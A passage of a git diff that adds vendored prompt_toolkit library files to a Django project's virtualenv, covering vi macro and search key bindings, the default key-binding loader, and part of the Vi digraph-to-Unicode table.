""" + Go into normal mode for one single action. + """ + event.app.vi_state.temporary_navigation_mode = True + + @handle("q", Keys.Any, filter=vi_navigation_mode & ~vi_recording_macro) + def _start_macro(event: E) -> None: + """ + Start recording macro. + """ + c = event.key_sequence[1].data + if c in vi_register_names: + vi_state = event.app.vi_state + + vi_state.recording_register = c + vi_state.current_recording = "" + + @handle("q", filter=vi_navigation_mode & vi_recording_macro) + def _stop_macro(event: E) -> None: + """ + Stop recording macro. + """ + vi_state = event.app.vi_state + + # Store and stop recording. + if vi_state.recording_register: + vi_state.named_registers[vi_state.recording_register] = ClipboardData( + vi_state.current_recording + ) + vi_state.recording_register = None + vi_state.current_recording = "" + + @handle("@", Keys.Any, filter=vi_navigation_mode, record_in_macro=False) + def _execute_macro(event: E) -> None: + """ + Execute macro. + + Notice that we pass `record_in_macro=False`. This ensures that the `@x` + keys don't appear in the recording itself. This function inserts the + body of the called macro back into the KeyProcessor, so these keys will + be added later on to the macro of their handlers have + `record_in_macro=True`. + """ + # Retrieve macro. + c = event.key_sequence[1].data + try: + macro = event.app.vi_state.named_registers[c] + except KeyError: + return + + # Expand macro (which is a string in the register), in individual keys. + # Use vt100 parser for this. + keys: List[KeyPress] = [] + + parser = Vt100Parser(keys.append) + parser.feed(macro.text) + parser.flush() + + # Now feed keys back to the input processor. + for _ in range(event.arg): + event.app.key_processor.feed_multiple(keys, first=True) + + return ConditionalKeyBindings(key_bindings, vi_mode) + + +def load_vi_search_bindings() -> KeyBindingsBase: + key_bindings = KeyBindings() + handle = key_bindings.add + from . import search + + @Condition + def search_buffer_is_empty() -> bool: + "Returns True when the search buffer is empty." + return get_app().current_buffer.text == "" + + # Vi-style forward search. + handle( + "/", + filter=(vi_navigation_mode | vi_selection_mode) & ~vi_search_direction_reversed, + )(search.start_forward_incremental_search) + handle( + "?", + filter=(vi_navigation_mode | vi_selection_mode) & vi_search_direction_reversed, + )(search.start_forward_incremental_search) + handle("c-s")(search.start_forward_incremental_search) + + # Vi-style backward search. + handle( + "?", + filter=(vi_navigation_mode | vi_selection_mode) & ~vi_search_direction_reversed, + )(search.start_reverse_incremental_search) + handle( + "/", + filter=(vi_navigation_mode | vi_selection_mode) & vi_search_direction_reversed, + )(search.start_reverse_incremental_search) + handle("c-r")(search.start_reverse_incremental_search) + + # Apply the search. (At the / or ? prompt.) + handle("enter", filter=is_searching)(search.accept_search) + + handle("c-r", filter=is_searching)(search.reverse_incremental_search) + handle("c-s", filter=is_searching)(search.forward_incremental_search) + + handle("c-c")(search.abort_search) + handle("c-g")(search.abort_search) + handle("backspace", filter=search_buffer_is_empty)(search.abort_search) + + # Handle escape. This should accept the search, just like readline. + # `abort_search` would be a meaningful alternative. + handle("escape")(search.accept_search) + + return ConditionalKeyBindings(key_bindings, vi_mode) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/defaults.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/defaults.py new file mode 100644 index 00000000..baa59743 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/defaults.py @@ -0,0 +1,60 @@ +""" +Default key bindings.:: + + key_bindings = load_key_bindings() + app = Application(key_bindings=key_bindings) +""" +from prompt_toolkit.filters import buffer_has_focus +from prompt_toolkit.key_binding.bindings.basic import load_basic_bindings +from prompt_toolkit.key_binding.bindings.cpr import load_cpr_bindings +from prompt_toolkit.key_binding.bindings.emacs import ( + load_emacs_bindings, + load_emacs_search_bindings, + load_emacs_shift_selection_bindings, +) +from prompt_toolkit.key_binding.bindings.mouse import load_mouse_bindings +from prompt_toolkit.key_binding.bindings.vi import ( + load_vi_bindings, + load_vi_search_bindings, +) +from prompt_toolkit.key_binding.key_bindings import ( + ConditionalKeyBindings, + KeyBindingsBase, + merge_key_bindings, +) + +__all__ = [ + "load_key_bindings", +] + + +def load_key_bindings() -> KeyBindingsBase: + """ + Create a KeyBindings object that contains the default key bindings. + """ + all_bindings = merge_key_bindings( + [ + # Load basic bindings. + load_basic_bindings(), + # Load emacs bindings. + load_emacs_bindings(), + load_emacs_search_bindings(), + load_emacs_shift_selection_bindings(), + # Load Vi bindings. + load_vi_bindings(), + load_vi_search_bindings(), + ] + ) + + return merge_key_bindings( + [ + # Make sure that the above key bindings are only active if the + # currently focused control is a `BufferControl`. For other controls, we + # don't want these key bindings to intervene. (This would break "ptterm" + # for instance, which handles 'Keys.Any' in the user control itself.) + ConditionalKeyBindings(all_bindings, buffer_has_focus), + # Active, even when no buffer has been focused. + load_mouse_bindings(), + load_cpr_bindings(), + ] + ) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/digraphs.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/digraphs.py new file mode 100644 index 00000000..ad3d288a --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/digraphs.py @@ -0,0 +1,1377 @@ +""" +Vi Digraphs. +This is a list of special characters that can be inserted in Vi insert mode by +pressing Control-K followed by to normal characters. + +Taken from Neovim and translated to Python: +https://raw.githubusercontent.com/neovim/neovim/master/src/nvim/digraph.c +""" +from typing import Dict, Tuple + +__all__ = [ + "DIGRAPHS", +] + +# digraphs for Unicode from RFC1345 +# (also work for ISO-8859-1 aka latin1) +DIGRAPHS: Dict[Tuple[str, str], int] = { + ("N", "U"): 0x00, + ("S", "H"): 0x01, + ("S", "X"): 0x02, + ("E", "X"): 0x03, + ("E", "T"): 0x04, + ("E", "Q"): 0x05, + ("A", "K"): 0x06, + ("B", "L"): 0x07, + ("B", "S"): 0x08, + ("H", "T"): 0x09, + ("L", "F"): 0x0A, + ("V", "T"): 0x0B, + ("F", "F"): 0x0C, + ("C", "R"): 0x0D, + ("S", "O"): 0x0E, + ("S", "I"): 0x0F, + ("D", "L"): 0x10, + ("D", "1"): 0x11, + ("D", "2"): 0x12, + ("D", "3"): 0x13, + ("D", "4"): 0x14, + ("N", "K"): 0x15, + ("S", "Y"): 0x16, + ("E", "B"): 0x17, + ("C", "N"): 0x18, + ("E", "M"): 0x19, + ("S", "B"): 0x1A, + ("E", "C"): 0x1B, + ("F", "S"): 0x1C, + ("G", "S"): 0x1D, + ("R", "S"): 0x1E, + ("U", "S"): 0x1F, + ("S", "P"): 0x20, + ("N", "b"): 0x23, + ("D", "O"): 0x24, + ("A", "t"): 0x40, + ("<", "("): 0x5B, + ("/", "/"): 0x5C, + (")", ">"): 0x5D, + ("'", ">"): 0x5E, + ("'", "!"): 0x60, + ("(", "!"): 0x7B, + ("!", "!"): 0x7C, + ("!", ")"): 0x7D, + ("'", "?"): 0x7E, + ("D", "T"): 0x7F, + ("P", "A"): 0x80, + ("H", "O"): 0x81, + ("B", "H"): 0x82, + ("N", "H"): 0x83, + ("I", "N"): 0x84, + ("N", "L"): 0x85, + ("S", "A"): 0x86, + ("E", "S"): 0x87, + ("H", "S"): 0x88, + ("H", "J"): 0x89, + ("V", "S"): 0x8A, + ("P", "D"): 0x8B, + ("P", "U"): 0x8C, + ("R", "I"): 0x8D, + ("S", "2"): 0x8E, + ("S", "3"): 0x8F, + ("D", "C"): 0x90, + ("P", "1"): 0x91, + ("P", "2"): 0x92, + ("T", "S"): 0x93, + ("C", "C"): 0x94, + ("M", "W"): 0x95, + ("S", "G"): 0x96, + ("E", "G"): 0x97, + ("S", "S"): 0x98, + ("G", "C"): 0x99, + ("S", "C"): 0x9A, + ("C", "I"): 0x9B, + ("S", "T"): 0x9C, + ("O", "C"): 0x9D, + ("P", "M"): 0x9E, + ("A", "C"): 0x9F, + ("N", "S"): 0xA0, + ("!", "I"): 0xA1, + ("C", "t"): 0xA2, + ("P", "d"): 0xA3, + ("C", "u"): 0xA4, + ("Y", "e"): 0xA5, + ("B", "B"): 0xA6, + ("S", "E"): 0xA7, + ("'", ":"): 0xA8, + ("C", "o"): 0xA9, + ("-", "a"): 0xAA, + ("<", "<"): 0xAB, + ("N", "O"): 0xAC, + ("-", "-"): 0xAD, + ("R", "g"): 0xAE, + ("'", "m"): 0xAF, + ("D", "G"): 0xB0, + ("+", "-"): 0xB1, + ("2", "S"): 0xB2, + ("3", "S"): 0xB3, + ("'", "'"): 0xB4, + ("M", "y"): 0xB5, + ("P", "I"): 0xB6, + (".", "M"): 0xB7, + ("'", ","): 0xB8, + ("1", "S"): 0xB9, + ("-", "o"): 0xBA, + (">", ">"): 0xBB, + ("1", "4"): 0xBC, + ("1", "2"): 0xBD, + ("3", "4"): 0xBE, + ("?", "I"): 0xBF, + ("A", "!"): 0xC0, + ("A", "'"): 0xC1, + ("A", ">"): 0xC2, + ("A", "?"): 0xC3, + ("A", ":"): 0xC4, + ("A", "A"): 0xC5, + ("A", "E"): 0xC6, + ("C", ","): 0xC7, + ("E", "!"): 0xC8, + ("E", "'"): 0xC9, + ("E", ">"): 0xCA, + ("E", ":"): 0xCB, + ("I", "!"): 0xCC, + ("I", "'"): 0xCD, + ("I", ">"): 0xCE, + ("I", ":"): 0xCF, + ("D", "-"): 0xD0, + ("N", "?"): 0xD1, + ("O", "!"): 0xD2, + ("O", "'"): 0xD3, + ("O", ">"): 0xD4, + ("O", "?"): 0xD5, + ("O", ":"): 0xD6, + ("*", "X"): 0xD7, + ("O", "/"): 0xD8, + ("U", "!"): 0xD9, + ("U", "'"): 0xDA, + ("U", ">"): 0xDB, + ("U", ":"): 0xDC, + ("Y", "'"): 0xDD, + ("T", "H"): 0xDE, + ("s", "s"): 0xDF, + ("a", "!"): 0xE0, + ("a", "'"): 0xE1, + ("a", ">"): 0xE2, + ("a", "?"): 0xE3, + ("a", ":"): 0xE4, + ("a", "a"): 0xE5, + ("a", "e"): 0xE6, + ("c", ","): 0xE7, + ("e", "!"): 0xE8, + ("e", "'"): 0xE9, + ("e", ">"): 0xEA, + ("e", ":"): 0xEB, + ("i", "!"): 0xEC, + ("i", "'"): 0xED, + ("i", ">"): 0xEE, + ("i", ":"): 0xEF, + ("d", "-"): 0xF0, + ("n", "?"): 0xF1, + ("o", "!"): 0xF2, + ("o", "'"): 0xF3, + ("o", ">"): 0xF4, + ("o", "?"): 0xF5, + ("o", ":"): 0xF6, + ("-", ":"): 0xF7, + ("o", "/"): 0xF8, + ("u", "!"): 0xF9, + ("u", "'"): 0xFA, + ("u", ">"): 0xFB, + ("u", ":"): 0xFC, + ("y", "'"): 0xFD, + ("t", "h"): 0xFE, + ("y", ":"): 0xFF, + ("A", "-"): 0x0100, + ("a", "-"): 0x0101, + ("A", "("): 0x0102, + ("a", "("): 0x0103, + ("A", ";"): 0x0104, + ("a", ";"): 0x0105, + ("C", "'"): 0x0106, + ("c", "'"): 0x0107, + ("C", ">"): 0x0108, + ("c", ">"): 0x0109, + ("C", "."): 0x010A, + ("c", "."): 0x010B, + ("C", "<"): 0x010C, + ("c", "<"): 0x010D, + ("D", "<"): 0x010E, + ("d", "<"): 0x010F, + ("D", "/"): 0x0110, + ("d", "/"): 0x0111, + ("E", "-"): 0x0112, + ("e", "-"): 0x0113, + ("E", "("): 0x0114, + ("e", "("): 0x0115, + ("E", "."): 0x0116, + ("e", "."): 0x0117, + ("E", ";"): 0x0118, + ("e", ";"): 0x0119, + ("E", "<"): 0x011A, + ("e", "<"): 0x011B, + ("G", ">"): 0x011C, + ("g", ">"): 0x011D, + ("G", "("): 0x011E, + ("g", "("): 0x011F, + ("G", "."): 0x0120, + ("g", "."): 0x0121, + ("G", ","): 0x0122, + ("g", ","): 0x0123, + ("H", ">"): 0x0124, + ("h", ">"): 0x0125, + ("H", "/"): 0x0126, + ("h", "/"): 0x0127, + ("I", "?"): 0x0128, + ("i", "?"): 0x0129, + ("I", "-"): 0x012A, + ("i", "-"): 0x012B, + ("I", "("): 0x012C, + ("i", "("): 0x012D, + ("I", ";"): 0x012E, + ("i", ";"): 0x012F, + ("I", "."): 0x0130, + ("i", "."): 0x0131, + ("I", "J"): 0x0132, + ("i", "j"): 0x0133, + ("J", ">"): 0x0134, + ("j", ">"): 0x0135, + ("K", ","): 0x0136, + ("k", ","): 0x0137, + ("k", "k"): 0x0138, + ("L", "'"): 0x0139, + ("l", "'"): 0x013A, + ("L", ","): 0x013B, + ("l", ","): 0x013C, + ("L", "<"): 0x013D, + ("l", "<"): 0x013E, + ("L", "."): 0x013F, + ("l", "."): 0x0140, + ("L", "/"): 0x0141, + ("l", "/"): 0x0142, + ("N", "'"): 0x0143, + ("n", "'"): 0x0144, + ("N", ","): 0x0145, + ("n", ","): 0x0146, + ("N", "<"): 0x0147, + ("n", "<"): 0x0148, + ("'", "n"): 0x0149, + ("N", "G"): 0x014A, + ("n", "g"): 0x014B, + ("O", "-"): 0x014C, + ("o", "-"): 0x014D, + ("O", "("): 0x014E, + ("o", "("): 0x014F, + ("O", '"'): 0x0150, + ("o", '"'): 0x0151, + ("O", "E"): 0x0152, + ("o", "e"): 0x0153, + ("R", "'"): 0x0154, + ("r", "'"): 0x0155, + ("R", ","): 0x0156, + ("r", ","): 0x0157, + ("R", "<"): 0x0158, + ("r", "<"): 0x0159, + ("S", "'"): 0x015A, + ("s", "'"): 0x015B, + ("S", ">"): 0x015C, + ("s", ">"): 0x015D, + ("S", ","): 0x015E, + ("s", ","): 0x015F, + ("S", "<"): 0x0160, + ("s", "<"): 0x0161, + ("T", ","): 0x0162, + ("t", ","): 0x0163, + ("T", "<"): 0x0164, + ("t", "<"): 0x0165, + ("T", "/"): 0x0166, + ("t", "/"): 0x0167, + ("U", "?"): 0x0168, + ("u", "?"): 0x0169, + ("U", "-"): 0x016A, + ("u", "-"): 0x016B, + ("U", "("): 0x016C, + ("u", "("): 0x016D, + ("U", "0"): 0x016E, + ("u", "0"): 0x016F, + ("U", '"'): 0x0170, + ("u", '"'): 0x0171, + ("U", ";"): 0x0172, + ("u", ";"): 0x0173, + ("W", ">"): 0x0174, + ("w", ">"): 0x0175, + ("Y", ">"): 0x0176, + ("y", ">"): 0x0177, + ("Y", ":"): 0x0178, + ("Z", "'"): 0x0179, + ("z", "'"): 0x017A, + ("Z", "."): 0x017B, + ("z", "."): 0x017C, + ("Z", "<"): 0x017D, + ("z", "<"): 0x017E, + ("O", "9"): 0x01A0, + ("o", "9"): 0x01A1, + ("O", "I"): 0x01A2, + ("o", "i"): 0x01A3, + ("y", "r"): 0x01A6, + ("U", "9"): 0x01AF, + ("u", "9"): 0x01B0, + ("Z", "/"): 0x01B5, + ("z", "/"): 0x01B6, + ("E", "D"): 0x01B7, + ("A", "<"): 0x01CD, + ("a", "<"): 0x01CE, + ("I", "<"): 0x01CF, + ("i", "<"): 0x01D0, + ("O", "<"): 0x01D1, + ("o", "<"): 0x01D2, + ("U", "<"): 0x01D3, + ("u", "<"): 0x01D4, + ("A", "1"): 0x01DE, + ("a", "1"): 0x01DF, + ("A", "7"): 0x01E0, + ("a", "7"): 0x01E1, + ("A", "3"): 0x01E2, + ("a", "3"): 0x01E3, + ("G", "/"): 0x01E4, + ("g", "/"): 0x01E5, + ("G", "<"): 0x01E6, + ("g", "<"): 0x01E7, + ("K", "<"): 0x01E8, + ("k", "<"): 0x01E9, + ("O", ";"): 0x01EA, + ("o", ";"): 0x01EB, + ("O", "1"): 0x01EC, + ("o", "1"): 0x01ED, + ("E", "Z"): 0x01EE, + ("e", "z"): 0x01EF, + ("j", "<"): 0x01F0, + ("G", "'"): 0x01F4, + ("g", "'"): 0x01F5, + (";", "S"): 0x02BF, + ("'", "<"): 0x02C7, + ("'", "("): 0x02D8, + ("'", "."): 0x02D9, + ("'", "0"): 0x02DA, + ("'", ";"): 0x02DB, + ("'", '"'): 0x02DD, + ("A", "%"): 0x0386, + ("E", "%"): 0x0388, + ("Y", "%"): 0x0389, + ("I", "%"): 0x038A, + ("O", "%"): 0x038C, + ("U", "%"): 0x038E, + ("W", "%"): 0x038F, + ("i", "3"): 0x0390, + ("A", "*"): 0x0391, + ("B", "*"): 0x0392, + ("G", "*"): 0x0393, + ("D", "*"): 0x0394, + ("E", "*"): 0x0395, + ("Z", "*"): 0x0396, + ("Y", "*"): 0x0397, + ("H", "*"): 0x0398, + ("I", "*"): 0x0399, + ("K", "*"): 0x039A, + ("L", "*"): 0x039B, + ("M", "*"): 0x039C, + ("N", "*"): 0x039D, + ("C", "*"): 0x039E, + ("O", "*"): 0x039F, + ("P", "*"): 0x03A0, + ("R", "*"): 0x03A1, + ("S", "*"): 0x03A3, + ("T", "*"): 0x03A4, + ("U", "*"): 0x03A5, + ("F", "*"): 0x03A6, + ("X", "*"): 0x03A7, + ("Q", "*"): 0x03A8, + ("W", "*"): 0x03A9, + ("J", "*"): 0x03AA, + ("V", "*"): 0x03AB, + ("a", "%"): 0x03AC, + ("e", "%"): 0x03AD, + ("y", "%"): 0x03AE, + ("i", "%"): 0x03AF, + ("u", "3"): 0x03B0, + ("a", "*"): 0x03B1, + ("b", "*"): 0x03B2, + ("g", "*"): 0x03B3, + ("d", "*"): 0x03B4, + ("e", "*"): 0x03B5, + ("z", "*"): 0x03B6, + ("y", "*"): 0x03B7, + ("h", "*"): 0x03B8, + ("i", "*"): 0x03B9, + ("k", "*"): 0x03BA, + ("l", "*"): 0x03BB, + ("m", "*"): 0x03BC, + ("n", "*"): 0x03BD, + ("c", "*"): 0x03BE, + ("o", "*"): 0x03BF, + ("p", "*"): 0x03C0, + ("r", "*"): 0x03C1, + ("*", "s"): 0x03C2, + ("s", "*"): 0x03C3, + ("t", "*"): 0x03C4, + ("u", "*"): 0x03C5, + ("f", "*"): 0x03C6, + ("x", "*"): 0x03C7, + ("q", "*"): 0x03C8, + ("w", "*"): 0x03C9, + ("j", "*"): 0x03CA, + ("v", "*"): 0x03CB, + ("o", "%"): 0x03CC, + ("u", "%"): 0x03CD, + ("w", "%"): 0x03CE, + ("'", "G"): 0x03D8, + (",", "G"): 0x03D9, + ("T", "3"): 0x03DA, + ("t", "3"): 0x03DB, + ("M", "3"): 0x03DC, + ("m", "3"): 0x03DD, + ("K", "3"): 0x03DE, + ("k", "3"): 0x03DF, + ("P", "3"): 0x03E0, + ("p", "3"): 0x03E1, + ("'", "%"): 0x03F4, + ("j", "3"): 0x03F5, + ("I", "O"): 0x0401, + ("D", "%"): 0x0402, + ("G", "%"): 0x0403, + ("I", "E"): 0x0404, + ("D", "S"): 0x0405, + ("I", "I"): 0x0406, + ("Y", "I"): 0x0407, + ("J", "%"): 0x0408, + ("L", "J"): 0x0409, + ("N", "J"): 0x040A, + ("T", "s"): 0x040B, + ("K", "J"): 0x040C, + ("V", "%"): 0x040E, + ("D", "Z"): 0x040F, + ("A", "="): 0x0410, + ("B", "="): 0x0411, + ("V", "="): 0x0412, + ("G", "="): 0x0413, + ("D", "="): 0x0414, + ("E", "="): 0x0415, + ("Z", "%"): 0x0416, + ("Z", "="): 0x0417, + ("I", "="): 0x0418, + ("J", "="): 0x0419, + ("K", "="): 0x041A, + ("L", "="): 0x041B, + ("M", "="): 0x041C, + ("N", "="): 0x041D, + ("O", "="): 0x041E, + ("P", "="): 0x041F, + ("R", "="): 0x0420, + ("S", "="): 0x0421, + ("T", "="): 0x0422, + ("U", "="): 0x0423, + ("F", "="): 0x0424, + ("H", "="): 0x0425, + ("C", "="): 0x0426, + ("C", "%"): 0x0427, + ("S", "%"): 0x0428, + ("S", "c"): 0x0429, + ("=", '"'): 0x042A, + ("Y", "="): 0x042B, + ("%", '"'): 0x042C, + ("J", "E"): 0x042D, + ("J", "U"): 0x042E, + ("J", "A"): 0x042F, + ("a", "="): 0x0430, + ("b", "="): 0x0431, + ("v", "="): 0x0432, + ("g", "="): 0x0433, + ("d", "="): 0x0434, + ("e", "="): 0x0435, + ("z", "%"): 0x0436, + ("z", "="): 0x0437, + ("i", "="): 0x0438, + ("j", "="): 0x0439, + ("k", "="): 0x043A, + ("l", "="): 0x043B, + ("m", "="): 0x043C, + ("n", "="): 0x043D, + ("o", "="): 0x043E, + ("p", "="): 0x043F, + ("r", "="): 0x0440, + ("s", "="): 0x0441, + ("t", "="): 0x0442, + ("u", "="): 0x0443, + ("f", "="): 0x0444, + ("h", "="): 0x0445, + ("c", "="): 0x0446, + ("c", "%"): 0x0447, + ("s", "%"): 0x0448, + ("s", "c"): 0x0449, + ("=", "'"): 0x044A, + ("y", "="): 0x044B, + ("%", "'"): 0x044C, + ("j", "e"): 0x044D, + ("j", "u"): 0x044E, + ("j", "a"): 0x044F, + ("i", "o"): 0x0451, + ("d", "%"): 0x0452, + ("g", "%"): 0x0453, + ("i", "e"): 0x0454, + ("d", "s"): 0x0455, + ("i", "i"): 0x0456, + ("y", "i"): 0x0457, + ("j", "%"): 0x0458, + ("l", "j"): 0x0459, + ("n", "j"): 0x045A, + ("t", "s"): 0x045B, + ("k", "j"): 0x045C, + ("v", "%"): 0x045E, + ("d", "z"): 0x045F, + ("Y", "3"): 0x0462, + ("y", "3"): 0x0463, + ("O", "3"): 0x046A, + ("o", "3"): 0x046B, + ("F", "3"): 0x0472, + ("f", "3"): 0x0473, + ("V", "3"): 0x0474, + ("v", "3"): 0x0475, + ("C", "3"): 0x0480, + ("c", "3"): 0x0481, + ("G", "3"): 0x0490, + ("g", "3"): 0x0491, + ("A", "+"): 0x05D0, + ("B", "+"): 0x05D1, + ("G", "+"): 0x05D2, + ("D", "+"): 0x05D3, + ("H", "+"): 0x05D4, + ("W", "+"): 0x05D5, + ("Z", "+"): 0x05D6, + ("X", "+"): 0x05D7, + ("T", "j"): 0x05D8, + ("J", "+"): 0x05D9, + ("K", "%"): 0x05DA, + ("K", "+"): 0x05DB, + ("L", "+"): 0x05DC, + ("M", "%"): 0x05DD, + ("M", "+"): 0x05DE, + ("N", "%"): 0x05DF, + ("N", "+"): 0x05E0, + ("S", "+"): 0x05E1, + ("E", "+"): 0x05E2, + ("P", "%"): 0x05E3, + ("P", "+"): 0x05E4, + ("Z", "j"): 0x05E5, + ("Z", "J"): 0x05E6, + ("Q", "+"): 0x05E7, + ("R", "+"): 0x05E8, + ("S", "h"): 0x05E9, + ("T", "+"): 0x05EA, + (",", "+"): 0x060C, + (";", "+"): 0x061B, + ("?", "+"): 0x061F, + ("H", "'"): 0x0621, + ("a", "M"): 0x0622, + ("a", "H"): 0x0623, + ("w", "H"): 0x0624, + ("a", "h"): 0x0625, + ("y", "H"): 0x0626, + ("a", "+"): 0x0627, + ("b", "+"): 0x0628, + ("t", "m"): 0x0629, + ("t", "+"): 0x062A, + ("t", "k"): 0x062B, + ("g", "+"): 0x062C, + ("h", "k"): 0x062D, + ("x", "+"): 0x062E, + ("d", "+"): 0x062F, + ("d", "k"): 0x0630, + ("r", "+"): 0x0631, + ("z", "+"): 0x0632, + ("s", "+"): 0x0633, + ("s", "n"): 0x0634, + ("c", "+"): 0x0635, + ("d", "d"): 0x0636, + ("t", "j"): 0x0637, + ("z", "H"): 0x0638, + ("e", "+"): 0x0639, + ("i", "+"): 0x063A, + ("+", "+"): 0x0640, + ("f", "+"): 0x0641, + ("q", "+"): 0x0642, + ("k", "+"): 0x0643, + ("l", "+"): 0x0644, + ("m", "+"): 0x0645, + ("n", "+"): 0x0646, + ("h", "+"): 0x0647, + ("w", "+"): 0x0648, + ("j", "+"): 0x0649, + ("y", "+"): 0x064A, + (":", "+"): 0x064B, + ('"', "+"): 0x064C, + ("=", "+"): 0x064D, + ("/", "+"): 0x064E, + ("'", "+"): 0x064F, + ("1", "+"): 0x0650, + ("3", "+"): 0x0651, + ("0", "+"): 0x0652, + ("a", "S"): 0x0670, + ("p", "+"): 0x067E, + ("v", "+"): 0x06A4, + ("g", "f"): 0x06AF, + ("0", "a"): 0x06F0, + ("1", "a"): 0x06F1, + ("2", "a"): 0x06F2, + ("3", "a"): 0x06F3, + ("4", "a"): 0x06F4, + ("5", "a"): 0x06F5, + ("6", "a"): 0x06F6, + ("7", "a"): 0x06F7, + ("8", "a"): 0x06F8, + ("9", "a"): 0x06F9, + ("B", "."): 0x1E02, + ("b", "."): 0x1E03, + ("B", "_"): 0x1E06, + ("b", "_"): 0x1E07, + ("D", "."): 0x1E0A, + ("d", "."): 0x1E0B, + ("D", "_"): 0x1E0E, + ("d", "_"): 0x1E0F, + ("D", ","): 0x1E10, + ("d", ","): 0x1E11, + ("F", "."): 0x1E1E, + ("f", "."): 0x1E1F, + ("G", "-"): 0x1E20, + ("g", "-"): 0x1E21, + ("H", "."): 0x1E22, + ("h", "."): 0x1E23, + ("H", ":"): 0x1E26, + ("h", ":"): 0x1E27, + ("H", ","): 0x1E28, + ("h", ","): 0x1E29, + ("K", "'"): 0x1E30, + ("k", "'"): 0x1E31, + ("K", "_"): 0x1E34, + ("k", "_"): 0x1E35, + ("L", "_"): 0x1E3A, + ("l", "_"): 0x1E3B, + ("M", "'"): 0x1E3E, + ("m", "'"): 0x1E3F, + ("M", "."): 0x1E40, + ("m", "."): 0x1E41, + ("N", "."): 0x1E44, + ("n", "."): 0x1E45, + ("N", "_"): 0x1E48, + ("n", "_"): 0x1E49, + ("P", "'"): 0x1E54, + ("p", "'"): 0x1E55, + ("P", "."): 0x1E56, + ("p", "."): 0x1E57, + ("R", "."): 0x1E58, + ("r", "."): 0x1E59, + ("R", "_"): 0x1E5E, + ("r", "_"): 0x1E5F, + ("S", "."): 0x1E60, + ("s", "."): 0x1E61, + ("T", "."): 0x1E6A, + ("t", "."): 0x1E6B, + ("T", "_"): 0x1E6E, + ("t", "_"): 0x1E6F, + ("V", "?"): 0x1E7C, + ("v", "?"): 0x1E7D, + ("W", "!"): 0x1E80, + ("w", "!"): 0x1E81, + ("W", "'"): 0x1E82, + ("w", "'"): 0x1E83, + ("W", ":"): 0x1E84, + ("w", ":"): 0x1E85, + ("W", "."): 0x1E86, + ("w", "."): 0x1E87, + ("X", "."): 0x1E8A, + ("x", "."): 0x1E8B, + ("X", ":"): 0x1E8C, + ("x", ":"): 0x1E8D, + ("Y", "."): 0x1E8E, + ("y", "."): 0x1E8F, + ("Z", ">"): 0x1E90, + ("z", ">"): 0x1E91, + ("Z", "_"): 0x1E94, + ("z", "_"): 0x1E95, + ("h", "_"): 0x1E96, + ("t", ":"): 0x1E97, + ("w", "0"): 0x1E98, + ("y", "0"): 0x1E99, + ("A", "2"): 0x1EA2, + ("a", "2"): 0x1EA3, + ("E", "2"): 0x1EBA, + ("e", "2"): 0x1EBB, + ("E", "?"): 0x1EBC, + ("e", "?"): 0x1EBD, + ("I", "2"): 0x1EC8, + ("i", "2"): 0x1EC9, + ("O", "2"): 0x1ECE, + ("o", "2"): 0x1ECF, + ("U", "2"): 0x1EE6, + ("u", "2"): 0x1EE7, + ("Y", "!"): 0x1EF2, + ("y", "!"): 0x1EF3, + ("Y", "2"): 0x1EF6, + ("y", "2"): 0x1EF7, + ("Y", "?"): 0x1EF8, + ("y", "?"): 0x1EF9, + (";", "'"): 0x1F00, + (",", "'"): 0x1F01, + (";", "!"): 0x1F02, + (",", "!"): 0x1F03, + ("?", ";"): 0x1F04, + ("?", ","): 0x1F05, + ("!", ":"): 0x1F06, + ("?", ":"): 0x1F07, + ("1", "N"): 0x2002, + ("1", "M"): 0x2003, + ("3", "M"): 0x2004, + ("4", "M"): 0x2005, + ("6", "M"): 0x2006, + ("1", "T"): 0x2009, + ("1", "H"): 0x200A, + ("-", "1"): 0x2010, + ("-", "N"): 0x2013, + ("-", "M"): 0x2014, + ("-", "3"): 0x2015, + ("!", "2"): 0x2016, + ("=", "2"): 0x2017, + ("'", "6"): 0x2018, + ("'", "9"): 0x2019, + (".", "9"): 0x201A, + ("9", "'"): 0x201B, + ('"', "6"): 0x201C, + ('"', "9"): 0x201D, + (":", "9"): 0x201E, + ("9", '"'): 0x201F, + ("/", "-"): 0x2020, + ("/", "="): 0x2021, + (".", "."): 0x2025, + ("%", "0"): 0x2030, + ("1", "'"): 0x2032, + ("2", "'"): 0x2033, + ("3", "'"): 0x2034, + ("1", '"'): 0x2035, + ("2", '"'): 0x2036, + ("3", '"'): 0x2037, + ("C", "a"): 0x2038, + ("<", "1"): 0x2039, + (">", "1"): 0x203A, + (":", "X"): 0x203B, + ("'", "-"): 0x203E, + ("/", "f"): 0x2044, + ("0", "S"): 0x2070, + ("4", "S"): 0x2074, + ("5", "S"): 0x2075, + ("6", "S"): 0x2076, + ("7", "S"): 0x2077, + ("8", "S"): 0x2078, + ("9", "S"): 0x2079, + ("+", "S"): 0x207A, + ("-", "S"): 0x207B, + ("=", "S"): 0x207C, + ("(", "S"): 0x207D, + (")", "S"): 0x207E, + ("n", "S"): 0x207F, + ("0", "s"): 0x2080, + ("1", "s"): 0x2081, + ("2", "s"): 0x2082, + ("3", "s"): 0x2083, + ("4", "s"): 0x2084, + ("5", "s"): 0x2085, + ("6", "s"): 0x2086, + ("7", "s"): 0x2087, + ("8", "s"): 0x2088, + ("9", "s"): 0x2089, + ("+", "s"): 0x208A, + ("-", "s"): 0x208B, + ("=", "s"): 0x208C, + ("(", "s"): 0x208D, + (")", "s"): 0x208E, + ("L", "i"): 0x20A4, + ("P", "t"): 0x20A7, + ("W", "="): 0x20A9, + ("=", "e"): 0x20AC, # euro + ("E", "u"): 0x20AC, # euro + ("=", "R"): 0x20BD, # rouble + ("=", "P"): 0x20BD, # rouble + ("o", "C"): 0x2103, + ("c", "o"): 0x2105, + ("o", "F"): 0x2109, + ("N", "0"): 0x2116, + ("P", "O"): 0x2117, + ("R", "x"): 0x211E, + ("S", "M"): 0x2120, + ("T", "M"): 0x2122, + ("O", "m"): 0x2126, + ("A", "O"): 0x212B, + ("1", "3"): 0x2153, + ("2", "3"): 0x2154, + ("1", "5"): 0x2155, + ("2", "5"): 0x2156, + ("3", "5"): 0x2157, + ("4", "5"): 0x2158, + ("1", "6"): 0x2159, + ("5", "6"): 0x215A, + ("1", "8"): 